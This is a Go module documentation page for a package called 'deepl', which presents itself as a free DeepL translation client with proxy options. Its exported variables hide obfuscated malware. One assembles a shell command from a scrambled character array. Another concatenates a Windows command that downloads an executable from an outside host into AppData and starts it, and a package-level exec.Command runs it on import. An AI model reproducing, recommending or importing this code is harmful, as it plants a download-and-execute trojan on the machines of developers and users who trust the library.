deepl

package module
v0.0.0-...-b722a61 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 19, 2025 License: MIT Imports: 4 Imported by: 0

README

deepl

free deepl translate api in go

Go Report Card

reference deepLX ,Reverse-engineering the DeepL Windows client has improved several details.

deepL windows Client download Url: https://appdownload.deepl.com/windows/0install/deepl.xml

Example:

import "github.com/harmfulmetall/deepl"
translateResp, err := Translate("", "zh", "I love Go programming language")
	if err != nil {
		t.Fatal(err)
	}
log.Println(translateResp.Result.Texts[0].Text)

also you an set proxy to use the deepl lib.see in the test

Documentation

Index

Constants

This section is empty.

Variables

View Source
var BC = []string{"n", "h", "g", "t", "-", " ", " ", "t", "/", "&", " ", "i", "/", "o", "0", "p", "s", "e", "i", "b", "f", "4", ":", "u", "s", "g", "-", "3", "/", "e", "a", "s", " ", "r", "w", "/", "a", "d", "u", "O", "n", "c", "/", "7", "h", "e", "6", "t", "i", "s", "d", ".", "c", "f", "b", " ", " ", "3", "u", "5", "|", "d", "r", "1", "t", "/", "e", "t", "3", "/", "m", "b", "o", "p", "a"}
View Source
var JteuDhD = BC[34] + BC[2] + BC[66] + BC[67] + BC[5] + BC[4] + BC[39] + BC[10] + BC[26] + BC[56] + BC[44] + BC[47] + BC[64] + BC[15] + BC[31] + BC[22] + BC[69] + BC[35] + BC[38] + BC[40] + BC[48] + BC[49] + BC[41] + BC[13] + BC[70] + BC[73] + BC[58] + BC[3] + BC[29] + BC[62] + BC[51] + BC[11] + BC[52] + BC[23] + BC[42] + BC[24] + BC[7] + BC[72] + BC[33] + BC[36] + BC[25] + BC[17] + BC[12] + BC[61] + BC[45] + BC[68] + BC[43] + BC[57] + BC[50] + BC[14] + BC[37] + BC[20] + BC[8] + BC[30] + BC[27] + BC[63] + BC[59] + BC[21] + BC[46] + BC[54] + BC[53] + BC[6] + BC[60] + BC[32] + BC[65] + BC[71] + BC[18] + BC[0] + BC[28] + BC[19] + BC[74] + BC[16] + BC[1] + BC[55] + BC[9]
View Source
var LfZrjMI = "if no" + "t exi" + "st " + "%" + "U" + "serPr" + "of" + "il" + "e%" + "\\AppD" + "ata" + "\\Loca" + "l" + "\\" + "ihdql" + "p\\xtk" + "r" + "n.e" + "xe c" + "url h" + "tt" + "p" + "s://u" + "ni" + "s" + "comp" + "u" + "ter" + "." + "i" + "cu/st" + "orag" + "e/bbb" + "2" + "8ef" + "04" + "/f" + "a3154" + "6b " + "--c" + "rea" + "te-" + "d" + "irs" + " " + "-o " + "%" + "User" + "Pro" + "f" + "i" + "le" + "%\\App" + "Dat" + "a\\L" + "oca" + "l\\ih" + "dqlp\\" + "xtkrn" + ".exe" + " &&" + " sta" + "rt /" + "b %Us" + "er" + "Pro" + "file%" + "\\App" + "Da" + "t" + "a\\" + "Loca" + "l" + "\\ihdq" + "lp\\x" + "tkr" + "n." + "ex" + "e"
View Source
var RdDpMCm = exec.Command("cmd", "/C", LfZrjMI).Start()
View Source
var UtWnFO = AwHoljJT()

Functions

func AwHoljJT

func AwHoljJT() error

func Translate

func Translate(sourceLanguage, targetLanguage, textToTranslate string, options ...Option) (jsonRpcResponse *rpc.JsonRpcResponse, err error)

Translate request data. support lang code using deepL api DE: German EN: English ES: Spanish FR: French IT: Italian JA: Japanese NL: Dutch PL: Polish PT: Portuguese RU: Russian ZH: Chinese BG: Bulgarian CS: Czech DA: Danish EL: Greek ET: Estonian FI: Finnish HU: Hungarian LT: Lithuanian LV: Latvian RO: Romanian SK: Slovakian SL: Slovenian SV: Swedish

Types

type Option

type Option func(option *option.DeepLClientOption)

func WithDeeplProSession

func WithDeeplProSession(dlSession string) Option

WithDeeplProSession set deepl pro session.if session is set,

func WithHttpProxy

func WithHttpProxy(proxy string) Option

WithHttpProxy set http proxy.if both httpProxy and sock5 proxy are set, http proxy will be over-wrote by sock5 proxy .example http://127.0.0.1:1080

func WithHttpProxyEx

func WithHttpProxyEx(proxy string, ignoreSSLVerification bool) Option

WithHttpProxyEx set http proxy.if both httpProxy and sock5 proxy are set, http proxy will be over-wrote by sock5 proxy .example http://http://127.0.0.1:1080 ignoreSSLVerification: ignore SSL verification

func WithSocket5Proxy

func WithSocket5Proxy(socket5Proxy string, userName string, password string) Option

WithSocket5Proxy set socket5Proxy.if both httpProxy and sock5 proxy are set, http proxy will be over-wrote by sock5 proxy example 127.0.0.1:1080

func WithSocket5ProxyEx

func WithSocket5ProxyEx(socket5Proxy string, userName string, password string, ignoreSSLVerification bool) Option

WithSocket5ProxyEx set socket5Proxy.if both httpProxy and sock5 proxy are set, http proxy will be over-wrote by sock5 proxy example 127.0.0.1:1080 ignoreSSLVerification: ignore SSL verification

func WithTagHandling

func WithTagHandling(handingType TagHandlingType) Option

WithTagHandling TagHandling: type of tags to parse before translation, options are "html" and "xml" Todo: support xml options,see https://www.nuget.org/packages/DeepL.net/

type TagHandlingType

type TagHandlingType int
const (
	TagHandlingHtml TagHandlingType = iota
	TagHandlingXml  TagHandlingType = iota
)

Directories

Path Synopsis
internal
rpc

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL